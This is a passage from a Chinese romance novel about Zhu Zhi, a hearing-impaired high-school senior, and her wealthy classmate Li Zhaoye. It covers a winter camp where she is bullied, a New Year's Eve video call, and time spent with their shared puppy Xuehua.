学了这么长时间依旧是磕磕巴巴的她在老师面前实在是没什么自信，才刚开口没两句，就被硬生生打断了。
“发音错了好几个，你上课到底有没有认真在听啊？”
祝枝嘴笨，面对老师的质疑的时候不敢正面回答，面对李昭野的询问，她也说不出前因后果。
无尽的委屈在沉默中发酵，猛地吸入了一口凉气后，祝枝小声问他：“雪花乖吗？”
“乖。”
“嗯。”
“所以为什么哭？”
“……没哭。”
她说是没哭，但语气里已经明显有哭腔了，李昭野也只能靠猜测她委屈的原因，可能是费时费力学，感觉自己依旧很吃力，可能是再次因为耳朵的事情经受了一些不好的对待，也可能是全然陌生的环境，陌生的同学，让她心生焦虑。
“祝枝，好像下雪了。”李昭野坐在落地窗边，黑夜里飘落而下的雪花打着旋儿往下。
祝枝抬起手，指尖接到一抹小雪花。
“不是最喜欢下雪天吗？那应该抓紧时间开心，不要再浪费时间沮丧了。”
她眨了眨酸涩的眼睛，摸到脖颈上挂着的雪花项链，微凉的指尖覆上心口，震动的心跳结实有力。
“好。”她轻声说。
19. 19
临近年关，整个城市都提前进入了新年氛围。
李昭野家里依旧没什么人气，他懒散地打了个哈欠，从善如流地掀开被子跳进泳池里醒神。
李振华说除夕那几天公司有很重要的事情要忙，不一定会回，李昭野懒散地回答说：“没事，知道你们外国人不流行过春节。”
李振华被他怼得恼火，因为没法回去陪他过年而生出的愧疚顷刻间又消散。
“你妈最近联系你了没？”
“没啊，她还在俄罗斯那边旅游吧。”
“嗯，你自己注意照顾自己，钱还够用吗？”
李昭野每天花出去的那些钱都不够银行卡存款的零头，就算他每次都会回答钱还够用，李振华还是会因为远在国外而不停地给他打钱。
李昭野留在家里的佣人很少，各司其职后都会安静地离开，偌大的房子显得空荡荡的，就算雪花一个劲蹦跶，闹腾，也还是很空旷。
视线落到不远处司机叔叔送来的小灯笼、红对联上，家里的阿姨们这几天已经在思考着怎么装扮好房子迎接新年了，热闹的红色却和这栋房子显得格格不入。
好安静，安静到只能听到自己的呼吸声。
随手刷了一会手机，李昭野看了眼时间，心想着祝枝去的这什么冬令营，应该和学校一样得早起晚睡吧。
冬令营的作息比上学的时候稍微放松一些，只是一节课的时间很长，三四个小时，狭窄的教室里挤满了学生，嘈杂的动静从四面八方钻进耳朵里。
祝枝知道这个冬令营的价格不低，就是因为如此，她才会比平时还要更加焦虑，稍微走神回来，发现自己漏听了两个知识点，就会紧张地手脚冰凉。
几乎是肩挨着肩坐的位置，低头写字的动作时不时会被旁边的人给挤开。
这里有很多人是复读生，身上的焦虑情绪比祝枝的还要强烈，昨天对她出言不逊的那个女生就是，此时正坐在祝枝身边，笔被用力攥着，在本子上划出好几道深深的印记，呲啦的声音布满了整个教室，似乎是想提醒自己别再忘记。
祝枝的笔掉到她脚边，低头去捡的时候，耳上的助听器忽然被摘了下来，力道很重，扯得耳朵生疼，祝枝一阵惊慌，扭头看向她。
“摘了就完全听不见了吗？”她眼底的黑眼圈很重，整个人精神状态看起来比昨天还要差劲很多，但尖酸刻薄的语气还是一样的，脸上的笑也有几分挑衅。
祝枝耳廓红了一大半，眉头微皱，伸手想去把助听器给拿回来。
那人满不在乎地将助听器往桌子上一扔，哧声道：“多稀奇似的。”
祝枝紧抿着下唇，将助听器攥到掌心，盯着面前的人。
“这样看着我干什么？”
祝枝猛地起身，侧身出去时撞开了一旁的桌子，笔和卷子落了一地。
在厕所里小心翼翼地把助听器戴回耳朵上，祝枝盯着镜子里眼睛微红的自己，她没哭，只是觉得很委屈。
互相不认识的人竟也有这么大的恶意，也许就因为只是擦肩而过的陌生人，就算拿出恶意对待，也会在几天之后忘得干干净净，甚至这辈子都不会再见到。
而且这一整个教室的人都是彼此的竞争对手，正处于压力最大的高三时间，藏了满肚子的火和戾气，于是挑中了看起来最好欺负的她来发泄。
祝枝深吸了一口气，把助听器戴好之后，她调整好心态，正准备去找老师把整个事情经过讲清楚，班助先进了厕所来安慰她。
“没什么事吧？我已经把她批评了一顿，把你们换开了，刚刚是怎么回事？她说你总是吵她写题，所以才扯掉你的助听器的。”班助搭着她的肩膀小声询问道，说完，她又有点懊恼，“噢，你听不太清，我都忘了。”
“听得清。”祝枝出声道，她看着镜子里班助的眼睛，清晰又沉稳地说，“她是故意的，昨天和今天都是。”
大家都觉得彼此作为擦肩而过的陌生人，所有的相处丢会在时间的流逝中被掩埋成疏松平常的某一件事，但只有受到伤害的人不这么认为。
祝枝几乎要被这压抑的环境弄得喘不过气来，她不想回到教室去，也不想到办公室去掰扯，只想逃得远远的。
“老师，我可以请半天假吗？”
班助和她确定了请假时间以及返回时间，便领着她到办公室去拿手机了。
祝枝才刚开机，就有点后悔了。
“必须要家长来接吗？”
“对的，这里也没车，你回市里很麻烦的，你家长现在不方便吗？”
“我打电话问问。”
祝枝并不想把这里发生的事情告诉妈妈，不知道为什么，她都已经在成长的过程中把周围人对她的恶意逐渐习惯了，而妈妈每次都还像是第一次听到一样愤怒不已。
祝枝想着既然自己都差不多将情绪消化完了，还是不要转移给妈妈了。
正在她犹豫踌躇之际，屏幕上忽然亮起了一个来电提醒。
李昭野！
祝枝想都没想就当着班助的面接起来了。
“喂，哥哥。”
这声哥哥直接把李昭野给喊懵了。
祝枝脸颊逐渐弥漫上红意，因为撒谎而窘迫的表情被她低着头藏了起来，声音愈发小了。
“我今天下午想请假，你可以来接我吗？”
李昭野还保持着拨电话的姿势，他在祝枝接通电话的瞬间还想了句开场白，现在全都忘得干干净净了。
电话那头陷入了一阵沉默，祝枝拿起手机又看了一眼，正在通话中啊。
难不成是李昭野没听懂她的暗示吗？还是不愿意帮忙来接她吗？
李昭野肯定也很忙的，要训练，有时候还和朋友约了上网唱歌看电影之类的，可能早有安排。
就在祝枝头脑风暴想想出一个新办法的时候，李昭野淡声开口道：“地址。”
当着班助的面撒谎，祝枝整个人都透着红，她抬眸和班助对视了一眼，小声回答说：“我发给你。”
电话挂断后，班助问她：“你哥哥会来接你是吧？”
祝枝连忙点了点头，敛眸遮去眼底的心虚。
李昭野家的车在半小时后到达，祝枝等得都有些打瞌睡了，电话声响起后，她一个激灵，接起电话。
“到门口来。”
他真来了。
祝枝简直要开心死了，她一直觉得李昭野人很好，只是嘴巴毒了一些，没想到这次这么突然又无理的
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事情，他居然也没有拒绝，什么也没问多就来了，实在是太值得交的朋友了。
等开学，她一定要好好报答他，帮他记笔记、买早餐，给他带好吃的……
还在心里默数自己要做些什么回报李昭野的祝枝瞥见门口熟悉的车，打开后座上去。
侧坐在车里的男孩正靠窗假寐，怀里坐了只干净可爱的小狗。
“雪花！”
她面颊通红，眼睛弯弯的，里面盛满了雀跃，亮晶晶的眼睛从雪花身上挪到李昭野脸上。
那样炙热的神态，看得李昭野眼一烫，下意识敛眸。
虽然看到小狗很开心，但祝枝还是没忘记要对李昭野说的话：“李昭野，谢谢你。”
车稳稳驶离，雪花这家伙，这几天把祝枝都给忘记了，只觉得有双微凉的手在不停地玩弄它，吓得它直往李昭野怀里躲。
祝枝也就靠他靠得越来越近。
李昭野敛眸，视线落在她白皙的侧脸上。
她穿了件嫩黄色的羽绒服，圆领的白色毛衣看起来很舒服，脸颊泛着坨红，眉眼舒缓，带着淡淡的笑意，正在专注地逗着他怀里的狗。
靠近李昭野的这侧耳朵红得有些不太自然，特别是耳廓和挂耳背机的地方，泛着红晕。
“怎么突然要请假？”李昭野问她。
祝枝嘴角的笑意僵住，她抿了抿唇，说：“没什么。”
“我来接你，连你想请假的原因都不能知道吗？”他的语气淡淡的，听起来对这事也不是很关心的样子，但视线一直落在祝枝身上，等她回答。
祝枝坐正身体，抬头和李昭野对视。
她指了指自己的耳朵，说：“助听器被别人故意扯下来了。”
李昭野眉头一皱，脸色骤冷了几分。
“调头。”他出声道。
“别。”祝枝赶忙抓住他的手腕，急道，“我不想回去。”
李昭野眸色晦暗不明，紧紧盯住祝枝。
“被欺负了也打碎了委屈往肚子咽？”
“我现在不觉得委屈了。”祝枝冲他乖巧地弯了弯唇，“要抓紧时间开心，不能浪费时间沮丧。”
这是昨天李昭野安慰她的时候说的话，她乖乖软软的，圆溜溜的眼睛和雪花的一样，抬眼看向自己时裹挟着亮晶晶的光，叫人挪不开视线。
目光的交织随着时间的流动而越来越紧密，直到前面的车踩了个急刹，害得司机也跟了一脚重重的刹车。
祝枝险些往前倒去，李昭野伸手扶住她的脑袋，掌心的触感很软，是她的脸蛋。
“谢谢。”她小声说。
李昭野快速收回手，低声嗯了一句。
“你恰好给我打电话，是有什么事吗？”祝枝问他。
其实李昭野还没开始安排，无非就是打游戏，睡觉，唱歌之类的，他随口道：“带雪花去洗澡。”
“它挺干净的呀。”说着，祝枝用手指戳了戳雪花的脑袋，笑弯了眼。
雪花不满地挥动着爪子，吓得祝枝赶忙收回了手。
李昭野哼笑了一声，收回视线道：“现在计划改了，改成带你去打疫苗，别真死了。”
祝枝苦着脸：“啊？可以不要吗……”
20. 20
祝枝捡的这只小笨狗和她一样，都不爱打针。
祝枝打针的时候，李昭野是在外面等的，但是他也能从雪花打针呲牙咧嘴的样子脑补出祝枝的表情。
肯定是皱着脸，苦兮兮的样子。
雪花其他方面的情况都比想象中好，但医生说它的那条受伤的腿很难再恢复如初，仔细看不难发现，它现在飞奔的时候总会因为受伤的那条腿看起来有些颠簸，祝枝心疼地揉了揉它的脑袋，雪花发出一声微弱的嗷呜声。
“但它能健健康康长大，就已经很好了。”医生安慰道。
“对，要不是你们捡到它了，它现在可能都已经去狗星了。”
祝枝被护士小姐姐的话逗笑，她弯了弯唇，视线落到宠物医院外圈那些稀奇古怪的玩具和狗狗零食上，她小声问：“这些都是可以给小狗用的吗？”
“对的，你可以去看看你们还缺什么。”
琳琅满目的商品带上小狗标签之后都变得可爱不少，祝枝边走向货架，边笑眯眯道：“给它买几个玩具吧。”
“这是狗窝。”身后的小姐姐介绍道。
“家里有。”李昭野慢悠悠打了个哈欠，“三个。”
“啊？”
“客厅一个，我房间一个，楼下一个。”
祝枝又指了指一旁的小玩具。
“这也有很多。”
李昭野拿到狗的当晚就让阿姨买了不少，后来大数据估计是知道他养狗了，每个购物平台都疯狂给他推荐小狗相关的东西，李昭野看到喜欢的就下单，不知不觉，家里和小狗相关的东西已经堆得比雪花还要高了。
祝枝左挑右选，最后看中了一只奶白色的小狗耐咬玩具，付完钱后，她把玩具塞到雪花怀里，满眼都是细细碎碎的光。
“要好好保管哦。”
这段时间在冬令营都快待到精神崩溃了，祝枝从来没感觉到一个下午的时间这么短暂过。她和李昭野在商场找了好几层才找到允许带宠物去的店，入座后，李昭野把菜单递给她。
“看看吃什么。”
祝枝圆溜溜的眼睛看向他，小声说：“我请你吃可以吗？”
还是第一次有人想请客用这么小心翼翼的语气，李昭野眸间掠过一丝笑，说：“那我来点。”
祝枝求之不得，立马把菜单递给他。
李昭野点了几个菜，又加了两个甜品，然后对服务员说：“不吃葱姜蒜和香菜。”
“好的。”
祝枝正坐在对面开心地玩狗，为了防止它溜走，祝枝把它抱在怀里，手指缠绕着雪花没长多长的毛，迷你到和祝枝给它买的小玩具差不多大。
“真的好可爱。”嫩生生的小姑娘脸颊泛着红晕，眉眼是淡淡的笑，是极度放松的时刻，整个人都带着温柔和宁静。
李昭野单手撑着下巴，眯着眼看着对面的一人一狗，有些享受这片刻的惬意。
不对！他怎么又和祝枝在一块了？
陡然窜入脑海的理智似乎来得有点迟，一下午的融洽氛围在脑海中一一闪过，李昭野略带懊恼地闭了闭眼睛。
今天跑去把祝枝接出来完全是个意外，李昭野也不知道自己怎么回事，或许是因为她比较特殊，总是觉得她比别人多几分可怜，每次脑袋一热做完事，又忍不住反思自己不该这么瞎好心。
这家餐厅上菜的速度很快，折腾了一下午，祝枝也累了。
吃饭的时候两个人都默契地没有说话，李昭野觉得自己真的不该再和祝枝有这么密切的联络了，接下来的时间，他的沉默显得有些不怎么自在，他紧抿着唇，除了偶尔刷一下手机之外，其他时间都在安静吃饭。
这么想来，这还是他们俩第一次单独吃饭，气氛却是越来越僵硬。
祝枝似乎也是察觉到了李昭野情绪的变化，她抬眸悄悄看了好几眼，又收回视线。
应该是遇到什么其他烦心事了吧？还是不要烦他了。
吃完后，李昭野擦了擦手，准备起身上厕所。
“我来买单。”祝枝赶忙起身道。
李昭野无奈：“我知道。”
他并没有抢单的打算，既然今天被祝枝欠了人情，就给她一个还人情的机会。
李昭野上完洗手间回来的时候，祝枝正在吃甜品，她选了焦糖布丁，另外一份糖水摆在李昭野的座位面前。
“快吃，等会就不好吃了。”她唇角抿了些焦糖酱，说话的时候大眼睛忽闪忽闪的。
冷硬在喉咙里的话被垂眸忍下。
“这个打包吧。”他说。
李昭野不爱吃甜的，打包的四果汤自然是被祝枝拎着回到了上课的地方，下车前，她扭头，再次认认真真道了一声谢。
“不用客气，你请我吃了饭，已经算是你的道谢了。”李昭野的语气很疏离，听起来竟然有几分要划清界限的意思。
她那张小脸浸在黑暗里，徒留一双眼睛落下些细碎的光。
语气又重了些吗？
好烦，到底该怎么办？
李昭野呼吸重了几分，挪开视线后，出声打断她的思考：“还不回去？不是说快熄灯了吗？”
祝枝眨巴眨巴眼睛，看向他：“还是很谢谢你。”
她真诚又安静，干净澄澈的视线和李昭野对视，然后露出一个腼腆的浅笑。
可惜热乎的四果汤等到第二天就已经不好喝了。
还剩没几天的冬令营开始组织各式各样的考试和测验，祝枝所有的时间几乎都被排满了，速成冬令营的进度和容量都巨大，短短半个多月，她回家后发现自己瘦了五六斤。
妈妈给她煲了两天的汤补身体，紧接着是隆重的过年，吃的饭只会一顿比一顿更丰盛，势必要把她溜走的肉都给长回来。
自那天过后，祝枝就和李昭野断了联系，或许是性格使然，她总觉得李昭野忽冷忽热的，但这并不影响她觉得他是个善良的好人。
天气在除夕当天暖和了不少，祝枝跟着爸爸妈妈一块把家里最后的卫生做好，贴好对联，准备迎接新年。
祝枝的房间里有一个飘窗，被轻轻吹拂开的帘子在阳光中摇曳着，入冬以来，这方小小的飘窗已经很久没有阳光漫进来了，她给自己倒了杯热水，舒适地靠在又软又大的娃娃身上，无聊地点开了朋友圈。
李昭野经常会在朋友圈发一些雪花的视频，它比刚见面的时候活泼多了，总是拽着祝枝给它买的白色小狗玩个不停，很是可爱。
祝枝把视频看了好几遍，然后给他点了个赞。
紧接着，她又点进了李昭野的朋友圈，把他发过的所有关于雪花的视频都存了下来，然后慢慢看。
最新存下的一条视频是雪花坐在他怀里
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，李昭野修长的手指使坏地把小狗玩具举起来逗它，雪花费劲地跳跃，嘴里发出焦急的呜呜声，李昭野得了趣，弯着唇笑，紧接着，他骂了句笨狗，然后将手机拿向自己，结束了录制，那张帅得不行的脸忽然出现，吓得祝枝微微一滞。
李昭野确实很帅，而且和林知阳的气质使然不同，他五官帅得张扬，属于是乍一看很帅，细看更帅的脸，平时又爱买些贵的要命的衣服鞋子打扮自己，他品味也很好，经常是黑白灰简单堆砌在身上，将他那张立体的帅脸衬得更是出挑俊朗。
“枝枝，出来吃饭。”敲门声响起，祝枝抬头应了句好，然后把手机掐灭，塞回了口袋里。
“等会还是去超市再去看看有什么要买的，明天大年初一，不好去店里买东西的。”
祝枝已经闷了许久没有出去透气了，她主动接下了采买的活，心情不错地去了市里很大的中心超市。
她要买的东西并不多，主要是还能来挑挑喜欢的甜品，把冰箱补满一点。
挑好妈妈要她买的东西之后，祝枝推着车子直奔熟食区，甜品款式已经不多了，她选了几个喜欢的，正欲离开，因为装了重物而反应迟钝的推车一不小心撞到冰柜旁附身拿饺子的男生。
“对不——”
她愣住。
“怎么是你……”
李昭野穿了个简单的黑色羽绒服，两条腿又长又直，整个人比祝枝高了一截，手上还有些违和地捏着一袋速冻水饺。李昭野也不知道挑，随便拿了一包放回推车里，他的视线掠过祝枝车里成堆的甜品盒子，又抬眸看她。
“我来买东西。”
祝枝忙点了点头，有些局促道：“我也是。”
“我买完了。”
李昭野推着车朝门口走去，祝枝用他听不到的声音又跟了一句我也是，然后费劲推车跟上。
李昭野显然是没怎么来过超市的，他在自助收银台捣鼓了一会，好不容易折腾出来方法后，发现自己手机不知道什么时候没电关机了。
……
祝枝远远便见他神色略有些尴尬，于是推车走向他，问道：“怎么了？”
“手机关机了。”
“那一起付吧。”
祝枝把自己的东西也放到台子上，从口袋里掏出手机，解锁准备付钱。
解开锁的手机弹出刚刚关闭时的最后界面，入目便是那个李昭野逗雪花的视频，封面卡在他露出大半张含着笑意的脸的那帧，祝枝脸颊一烫，莫名有些心虚，下意识抬头看李昭野。
完蛋，李昭野的视线也正好从手机屏幕转移到她脸上。
……感觉脸更烫了。
后头传来其他人催促的声音，祝枝赶忙退出相册，点开微信付款。
李昭野低头瞄了眼账单，说话语速很快。
“回去转你。”
“没事的……”祝枝话音未落，他已经推着车快速地离开了，颇有几分落荒而逃的意味。
祝枝刚到家，就收到了李昭野的转账，他就买了一盒饺子，但是把整个单的价格就转了过来。
-饺子没这么贵。
祝枝回完这句话后，鬼使神差地再次点进了李昭野的朋友圈。
才发布不久的那条视频已经被删掉了。
祝枝有些心死。
怎么办，好尴尬……
21. 21
“喂，小野，我已经叫司机去家里接你了。”
李昭野正欲拆开速冻饺子的动作一顿，眉头轻皱道：“接我？你不回来吗？”
“那是你爸的房子，和我没关系了。”
这时电话那头传来一句脆生生的妈妈，李昭野听到赵静的声音顿了一下，低声安抚道：“你先等一下，妈妈在和哥哥打电话。”
“哪个哥哥呀？”
“昭野哥哥。”
李昭野眉头皱得更紧了，他放下手里的东西，坐到椅子上，脸色不悦，说：“所以你准备叫司机接我去哪里？”
赵静沉默了一会，然后轻声道：“你张叔叔这里。”
如坠冰窟的感觉让李昭野一句话都说不出来，他用力闭了闭眼睛，翻涌在胸膛的怒火让他说不出一句话。
“我提前和你张叔叔说了的，你不用觉得有压力。”
“不用了。”李昭野的声音像是淬了冰，没有任何温度。
“可你不是和我说你爸爸不会回来过年吗？”赵静不解问道。
下一秒，李昭野就已经把电话给挂断了。
偌大的屋子里就剩他一个人，躺在桌子上的那包速冻饺子孤零零的，他松开攥紧的拳后，起身把饺子给放回了冰箱里。
冰箱里装满了阿姨准备好的食材，李昭野下午查看的时候发现没有饺子。过年得吃饺子才行，所以他腾出时间去超市买了一大包，但现在好像用不上了。
大包的饺子卡住冰箱的柜子，用力往里面一推，没能推动，甚至发出一声闷响，在空旷的房子里显得格外刺耳。
越是心烦，就越难顺心。
李昭野紧着喉咙蹲在地上，他呼吸略有些沉重，焦躁和愤怒在四肢百骸乱窜，雪花似是察觉到了主人的阴戾情绪，小心翼翼地靠近后，用脑袋蹭了蹭李昭野的小腿。
李昭野敛眸，轻轻伸手摸了一下它的脑袋。
祝枝吃过年夜饭之后就溜到院子里放烟花了，她找了个没人的角落，点燃仙女棒后，安静地蹲着，视线盯着炸开的灿然烟花，直到它燃到最低端，四散开来的烟花在顷刻间消散，只在眼底留下一道白光。
远处的炮仗声有些不太真切，祝枝有时也没那么排斥自己这个不怎么中用的耳朵，在纷乱嘈杂的世界里，她总能找到某个时间最真实的自我，不受任何其他声音的影响，安然而悠闲地享受着绝对独自的世界。
一张簇拥着两抹烟花的照片被更新到了祝枝的朋友圈，文案是新年快乐。
入目第一条评论让祝枝整个人都愣住了，竟然是林知阳评论的。
-新年好［太阳］
他很少更新朋友圈，也很少点赞祝枝的朋友圈，以至于她都忘记自己已经加到了林知阳的微信。
蹲在路旁的祝枝慢吞吞地呼出一口热气，心里不由自主生出几分紧张的情绪来。
朋友圈界面很快被新的内容给刷了下去，祝枝定睛一看，是李昭野久违地分享了一张雪花的照片。
明明应该是灯火通明的除夕夜，但他那里的光线却很差，一只大手托着雪花的脑袋，修长的手指没在雪花软乎乎的毛里，只有一张照片，没有文案。
祝枝点开他发的照片放大看，雪花无辜的大眼睛正瞪着摄像头，还挺可爱的。
只是总感觉李昭野情绪不佳，祝枝眸光微滞，忽然想起下午存下他视频，还被当成抓包的窘迫时刻，又忍不住面红耳赤起来，其实她也没忘记观察李昭野的神色，他的脸也挺红的。
像这样的乌龙事件，最好的处理办法好像就是默契地不再提起。
祝枝抿了抿唇，点开李昭野的评论区，打了一句新年快乐发送出去。
半分钟后，聊天框弹出李昭野的消息。
-又存了？
祝枝整个人几乎烫到爆炸，恨不得把手机丢出去。用冰凉的手贴了贴烫红的脸颊后，她再次点进朋友圈界面里，发现自己还没有回复林知阳的评论。
深吸一口气醒了醒神，她点开回复。
-新年快乐！
跟在最后的标点被删了又打，斟酌再三，祝枝还是按照最开始的发了出去。
几分钟后，再次冒出来的那个熟悉的头像让祝枝呼吸都慢了几分，林知阳又回复她了。
-感觉你很开心。
确实很开心，祝枝已经走到家门口了，她换上舒服的小兔拖鞋，进了房间后，脱掉厚重的羽绒服，趴在床上看手机，正欲再次回复林知阳的评论时，李昭野的视频非常霸道地挤进了整个屏幕。
祝枝错愕的表情在屏幕里格外打眼，她愣了一会，在视频马上要切断的最后两秒钟接通了。
李昭野的脸倏地出现在屏幕上，他穿了件灰色的毛衣，拿着手机俯身去把灯给打开，五官清晰地出现在屏幕上，他抿了抿唇，表情很淡。
“要看狗吗？”
祝枝眨了眨眼睛，小声说：“要。”
李昭野现在逗狗逗得很熟练了，扔出去的小玩具被雪花跌跌撞撞捡回来之后，他摸了摸雪花的头，说了声乖。
本就低沉的声音通过听筒传了过来，多了几分磁性，而雪花被他一个假动作虚晃到窜出去好远，他又会含笑骂一句笨狗，明明是骂，但听起来却满是宠溺。
视线忍不住落到屏幕上眉眼乖顺的祝枝脸上，她好像永远都不会生气似的，自己偶尔混蛋的行为从没被祝枝记在心上过，反而每次都真诚又善良，叫人忍不住心里泛软。
“你还加了林知阳的微信？”他随口问道。
李昭野和林知阳是上次在元旦节目的时候加上的好友，刚刚在祝枝的评论区瞄到了他的名字，还有些狐疑，他记得祝枝微信里没加几个人，林知阳和她很熟？
“之前把你的微信推给他的时候加的。”
李昭野都快把这事给忘了。
“哦。”
李昭野把摄像头对准正在撕咬祝枝买的小狗玩具的雪花，大屏上祝枝轻轻抿了抿唇，看起来很软的苹果肌因为靠在手背上而鼓了起来，她表情有些纠结，声音很小，出声解释道：“我是看雪花可爱，才存你发的视频。”
“所以我刚发的照片，你又存了。”
李昭野眼睁睁看着祝枝的脸漫上一层淡淡的粉色。
“……没有。”
小声的辩解看起来没什么作用，李昭野又说：“哦，我没露脸，所以没存。”<
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祝枝的脸更红了，她支起身子，像是憋了很多话想说，但又说不过李昭野。
李昭野到底是没忍住，轻笑出声，积攒在胸口的郁结似乎散开了不少，冰凉的房间里因为心情的软化而有了温度。
听到他的笑声，祝枝气鼓鼓地控诉道：“你逗我。”
“好小气，逗都不让逗了，那你别看狗了。”
“让让让。”祝枝忙道。
李昭野轻哼一声，这才满意地把摄像头再次对准雪花。
“那个，李昭野……”
“干嘛？”
“你年后有事吗？我可不可以去找它玩啊？”
“看我安排吧。”
话是这么说，其实李昭野整个寒假一点安排都没有，原本唯一的安排是和赵静一起过年，但她就算回了国也是和新女儿新丈夫待在一起，他去只是多余。除此之外，他连游泳训练都安排得很少，每天就是在家里养狗遛狗。
祝枝忙点了点头，说：“好。”
不知怎么的，李昭野脑海里忽然闪过林知阳评论的那句“感觉你很开心”，是很熟稔的语气，他敛眸，开口问道：“你英语卷子考了吗？”
“考了。”
“多少分？”
“有八十多。”
“还挺厉害。”
祝枝瘪了瘪嘴，没吭声。
“这都不满意？我物理要是能考八十多，可以烧高香了。”
“嗯……等开会我会帮你补的。”
“……那倒也是不必。”
两个人有一搭没一搭地聊了很久的天，直到妈妈前来敲门喊祝枝出去守岁，新年马上就要来临了。
“不和你说了，要守岁了。”
视频里的李昭野懒洋洋地打了个哈欠，准备回被窝里打游戏。
他那边一整晚都没个动静，一点都不像过年的样子。
“你不去守岁吗？”
“我一个人守什么岁？”
自己都已经将丢下单独在家里过年这事给接受了，祝枝却是被他这句话给惊到，忍不住露出可怜他的表情。
“啊？”
语气都不敢太重，就怕刺伤到他。
李昭野无所谓地叹了口气，说：“不是什么大事。”
祝枝替他露出了沮丧的表情，小声嘀咕道：“但是感觉你很可怜。”
李昭野啧了一声，催她道：“你不是要去守岁了吗？”
祝枝嗯了一声，起身穿上暖和的家居睡衣后，她把手机揣进口袋里，凑近小声道：“我可以带你一起去守岁。”
祝枝那边的屏幕已经黑了，但是动静一直都在，和爸爸妈妈坐在一块的祝枝比刚刚视频的时候要沉默很多，电视机里传来主持人激动的声音，紧接着开始响起了新年的倒计时。
“十！九！八！……”
最后几秒钟，李昭野清楚地听到了祝枝的声音。
“三！二！一！”
“新年快乐！”
混杂在一家人的动静之中，祝枝的声音很小，但很好听，就这么透过摸不到见不着的网线传递到李昭野耳朵里。
“新年快乐。”他低声回答道。
22. 22
年后的走亲戚环节，祝枝每年都是以学业太重没时间推脱掉了，今年恰好是高三，更是能用这个借口的最好时机。她不太喜欢和家里那些亲戚打交道，她的耳朵在很小的时候就有听力问题了，那时长辈们对她还大多都是怜爱疼惜，后来知道她在学习方面屡超其他表哥表姐们，夹枪带棒的话语里不乏庆幸祝枝生理有缺陷的。
大家的怜惜都是建立在你过得很差这个基础上，倘若你有了翻身的迹象，就会迅速进行打压。
祝枝不擅长解读别人话里的言外之意，她觉得很累，所以比起这些，她更愿意得到一个内向的评价，待在自己房间里写题。
她一整天的安排非常满，上午写两张卷子，中午吃完饭后花十分钟对答案，午休一会后，下午再写两张卷子，晚上一齐改错。
如果前一天的英语试卷错的太多，她第二天就会更早起来，记半个小时的单词。
也不知道李昭野是不是忘记答应她可以去找雪花玩的事情，祝枝空等了他的消息好几天，休息的间隙，她会趴在桌子前，盯着和李昭野对话框，考虑要不要发消息打扰他。
手指无聊地戳了又戳，犹豫不决间，一不小心双击了李昭野的头像。
-我拍了拍李昭野
祝枝吓得惊起，正手忙脚乱想撤回之际，对方正在输入中的提示亮了又灭。
祝枝等了半天，也没等来他发出一条消息，倒是等到自己刚刚的拍一拍错过最后的撤回时间。
-你在干嘛？
祝枝决定主动出击。
李昭野发来了一张图片，是在昏暗的酒吧包厢，他没找什么角度，随便拍了一张。
祝枝看了眼屏幕上的时间，小声倒吸了一口气。
马上凌晨了，还在酒吧，而且照片里的好几个人都是他们班的，虽然大多数人到了高三都已经成年了，但去酒吧这事还是有点太超过祝枝的预期了。
-你明天有空吗？
-下午有
祝枝翻出找的能带宠物的咖啡厅的帖子，发给李昭野。
-要不要去这里学习呀？
李昭野看到这条消息，轻轻挑了挑眉，心想着整个寒假可没有一个人约他出去学习过。
-可以带上雪花一起吗？
果然。
李昭野一直没回，祝枝又发了一条。
-可以吗？
李昭野甚至都能脑补到她睁着湿漉漉的眼睛，可怜兮兮地哀求模样。
“野哥，明天下午球赛别忘了啊。”
李昭野的一句可以已经发出去了，他皱眉问道：“下午？几点啊？”
“四点半。”
“哦。”
对方发来一句带着感叹号的好，然后是一句晚安。
李昭野这边看起来不太像是要晚安的样子，但他还是回了个晚安的表情包。
祝枝的时间规划还是考虑到了是在假期的，比读书的时候能多睡两个多小时，只是她今天心情不错，起得很早，神清气爽的，把下午要带出门的东西一一准备好了。
“今天要出去吗？”
祝枝在家里宅了一整个寒假了，偶然会出门透透气，到附近的便利店买点甜品补充一下能量，难得见她装扮的整整齐齐准备出门。
“去图书馆。”
去咖啡馆也是为了学习，和图书馆应该也没差别吧。
“背这么多东西去干什么？”
她身后的书包鼓鼓囊囊的，妈妈还想凑近拎着看一下，祝枝赶忙换好鞋子，推开门出去。
“我先走了。”
一整个书包袋子里装着的都是她给雪花买的小玩意，李昭野盯着她掏出来的东西逐渐堆满桌子，而她还在费劲地翻出最后一包小狗零食。
“你到底买了多少？”
“都在这了。”
雪花简直兴奋地嗷嗷乱叫，围着祝枝转个不停，她俯身把雪花抱进怀里，低头检查了一下雪花的脚，雪花顺从地在她怀里翻了个身，小雪糕似的爪子拍在祝枝掌心。
“它喜欢我。”祝枝忍不住笑道。
柔和的笑意在眸间荡漾，李昭野被她臭屁的样子逗笑，轻轻哼笑两声后，说：“谁给它买这么一大堆东西，它也会喜欢谁的。”
祝枝将毛茸茸的小狗凑到脸颊上，轻轻蹭了蹭，小声道：“它就是喜欢我。”
李昭野昨天熬了个通宵，睡到刚才，现下已经精神很多了，他笔都没带一支，显然是没有要学习的打算，而祝枝抱着雪花，也很难有专心学习的心思。
时间溜得很快，李昭野打了一会瞌睡，睁眼就已经将近四点半了。
“你有电话。”祝枝提醒他。
李昭野趴在桌子上睡着的，半边脸印出红印，他揉了揉惺忪的眸，看了眼消息，群里已经艾特了他十多条。
他起身道：“我得走了。”
本来老老实实趴在祝枝腿上的雪花立马跟着跳起。
祝枝抬头，有些恋恋不舍的：“啊？还很早啊。”
“他们约了球赛。”；李昭野把棉袄穿上，凌乱的黑发在脖颈处，被他随意用手拨开，视线对上祝枝的后，李昭野淡声问她，“要去看吗？”
李昭野还是第一次带女孩来打球，这已经够让他们震惊的了，更震惊的是，他居然还把自己的狗放在她怀里。
要知道，对待雪花，李昭野可是小气得很，一般都不让他们玩，雪花也是个不爱亲近人的，除非手上有它爱吃的零食，它才懒得搭理他们。
“野哥！你这！”
挤眉弄眼的表情被李昭野一把拍开，他随手脱下棉袄，准备丢到凳子上时，瞥见一旁乖巧坐下的祝枝，把衣服往她脑袋上一罩。
“替我拿着。”
身后响起更激烈的嚷嚷声：“野哥！你瞒着我们！”
松木清香在鼻腔中回荡，祝枝把他的棉袄抱进怀里，伸手挠了雪花两下之后，抬头看向已经开始热火朝天的球场。
其他人早就到齐了，就等李昭野了。
他简单热了一下身，穿着件宽大的灰色卫衣便上场了。
祝枝很少看球，只知道进球得分了，哪队分高就是哪队赢。李昭野持球的机会很多，但对方似乎知道他是核心，经常有些小动作，没几下就被吹了哨子。
